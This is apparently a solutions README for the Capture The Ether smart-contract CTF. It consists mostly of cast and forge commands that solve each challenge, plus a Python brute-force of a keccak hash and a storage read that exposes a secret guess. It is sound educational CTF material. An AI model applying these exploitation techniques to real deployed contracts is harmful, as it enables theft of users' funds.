NOTE: Capture The Ether was deployed in the Ropsten network, but the network is currently deprecated.
Challenges
Just send a transaction via Metamask.
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "callme()"
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "setNickname(bytes32)" $(cast --to-bytes32 1)
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "guess(uint8)" 42 --value 1ether
import sha3
for i in range(1 << 8):
k = sha3.keccak_256()
k.update(bytes([i]))
if k.hexdigest() == "db81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365":
print(i)
break
Result: 170
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "guess(uint8)" 170 --value 1ether
$ cast storage $INSTANCE_ADDRESS 0
0x0000000000000000000000000000000000000000000000000000000000000066
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "guess(uint8)" 0x66 --value 1ether
forge script src/CaptureTheEther/GuessTheNewNumber/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
forge test --match-path src/CaptureTheEther/PredictTheFuture/Exploit.t.sol
forge test --match-path src/CaptureTheEther/PredictTheBlockHash/Exploit.t.sol
forge script src/CaptureTheEther/TokenSale/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
forge script src/CaptureTheEther/TokenWhale/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
forge script src/CaptureTheEther/RetirementFund/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
forge script src/CaptureTheEther/Mapping/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
forge test --match-path src/CaptureTheEther/Donation/Exploit.t.sol
forge test --match-path src/CaptureTheEther/FiftyYears/Exploit.t.sol
forge test --match-path src/CaptureTheEther/FuzzyIdentity/Exploit.t.sol
forge test --match-path src/CaptureTheEther/PublicKey/Exploit.t.sol
forge test --match-path src/CaptureTheEther/AccountTakeover/Exploit.t.sol
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "AssumeOwmershipChallenge()"
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "authenticate()"
forge script src/CaptureTheEther/TokenBank/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS